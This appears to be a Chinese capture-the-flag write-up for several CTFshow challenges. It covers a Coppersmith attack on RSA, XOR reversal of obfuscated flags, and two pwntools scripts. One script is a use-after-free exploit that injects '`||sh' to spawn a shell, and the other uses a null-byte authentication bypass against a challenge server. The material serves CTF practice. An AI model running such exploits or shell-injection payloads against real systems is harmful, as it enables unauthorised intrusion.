c1 = 151198307301713399973545627808177783191262282577048906899567665485020342464366268384613589477129150406859219553325982275344405383612415523342568367197935454935162234419239807109194526080836070453102172720442102673200212658553214847476648456720629906051324248179394810385918370092764118401652990951968387233220
n = 20873587976264698212013861921447267548758723109929620330136081844796427967720295581580927324390713931549639540337285515365487607593546367886570408812338077846317206794057714877394609181224434104303259411081376607299962306250984285173463537669954845497211859940191392861121877814873939865829555350848523691546006073264112091406848179785659505299775196062799482197712761744192962658799557108701192680225134300686608396391566674966897700511638643429161735764600752699251493599533703928135311599575989253347234975026924804433742500175666009324057320386262109587593814197687132304704244158862263859846356497849518103755981
PR.<x> = Zmod(n)[]
f = (c1 >> 256 << 256) + x
p = int(f.small_roots(X=2**256, beta=0.4)[0])
m = c1 ^^ p
print(long_to_bytes(m))
在线反编译pyc
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 2.7
print 'Welcome to CTFshow Re!'
print 'your flag is here!'
flag = ''
l = len(flag)
for i in range(l):
num = ((flag[i] + i) % 114514 + 114514) % 114514
code += chr(num)
code = map(ord, code)
for i in range((l - 4) + 1):
code[i] = code[i] ^ code[i + 1]
print code
code = ['%16','%1d','%1e','%1a','%18','\t','%ff','%d0',',','%03','%02','%14','8','m','%01','C','D','%bd','%f7','*','\r','%da','%f9','%1c','&','5',"'",'%da','%d4','%d1','%0b','%c7','%c7','%1a','%90','D','%a1']
python2的版本,简单异或,异或回去就行,改成python3的
from Crypto.Util.number import *
code1 = [b'\x16', b'\x1d', b'\x1e', b'\x1a', b'\x18', b'\t', b'\xff', b'\xd0', b',', b'\x03', b'\x02', b'\x14', b'8', b'm', b'\x01', b'C', b'D', b'\xbd', b'\xf7', b'*', b'\r', b'\xda', b'\xf9', b'\x1c', b'&', b'5', b"'", b'\xda', b'\xd4', b'\xd1', b'\x0b', b'\xc7', b'\xc7', b'\x1a', b'\x90', b'D', b'\xa1']
for i in range(len(code1) - 3, 0, -1):
code1[i-1] = int.to_bytes(bytes_to_long(code1[i]) ^ bytes_to_long(code1[i-1]))
print(''.join([chr(bytes_to_long(code1[i])-i)for i in range(len(code1))]))
ctfshow{Just_F00l’s_D@y_R3_Ch3ck-in!}
ida开,shift+F12找关键字,定位到相关函数
k e y key key是key123
,然后也是简单异或,洒洒水啦
x = '08111f425a5c1c1e1a526d410e3a1e5e5d573402165e561216'
key = 'key123'
for i in range(0, len(x), 2):
print(chr(ord(key[(i // 2) % 6]) ^ int(x[i:i + 2], 16)), end='')
uaf漏洞
静态链接,存在system函数,直接用||绕过执行命令
from pwn import *
#context.log_level = "debug"
context.arch="amd64"
binary_name = "check-in.check-in"
elf =ELF("./"+binary_name)
local = 1
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
info = lambda tag, addr :log.info(tag + " -------------> " + hex(addr))
ia = lambda :io.interactive()
if local==1:
io = remote("pwn.challenge.ctf.show",28110)
else:
io = process("./"+binary_name)
def debug():
gdb.attach(io,'''
set glibc 2.31\n
b *0x08048C27
''')
pause()
def add(size,val):
sla(b"chioce :",b'1')
sla(b'Note size :',str(size).encode())
sla(b'Content :',val)
def show(index):
sla(b"chioce :",b'3')
sla(b'Index :',str(index).encode())
def free(index):
sla(b"chioce :",b'2')
sla(b'Index :',str(index).encode())
add(0x10,b'aaaa')
add(0x10,b'bbbb')
free(0)
free(1)
add(0x8 + 4, p32(0x08050560) + b"`||sh")
show(0)
ia()
auth_user要等与CTFshow-demo-code-admin,后面第32的位子又要等于yes,那么用b’\x00’隔断绕过验证
第一次输入一个不存在的数据库名,使a_0=1,然后就会直接return,但保留了a_0的值,第二次输入flag数据库名,因为a_0==1所以会进入f_4函数查询数据库中的flag了
from pwn import*
#context.log_level = "debug"
context.arch="amd64"
binary_name = "easy_sql.sql"
elf =ELF("./"+binary_name)
local = 1
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
info = lambda tag, addr :log.info(tag + " -------------> " + hex(addr))
ia = lambda :io.interactive()
if local==1:
io = remote("pwn.challenge.ctf.show",28110)
else:
io = process("./"+binary_name)
def debug():
gdb.attach(io,'''
b strtok
''')
pause()
# debug()
payload = b'CTFshow-demo-code-admin\x00'
payload = payload.ljust(32,b'a')
payload += b"sey"
# sl(payload)
sla(b'code:', payload)
sla(b"Query:", b"read")
sla(b'from:', b"aaaa")
sla(b"Query:", b"read")
sla(b'from:', b"flag")
sla(b'read:', b"aaaa")
ia()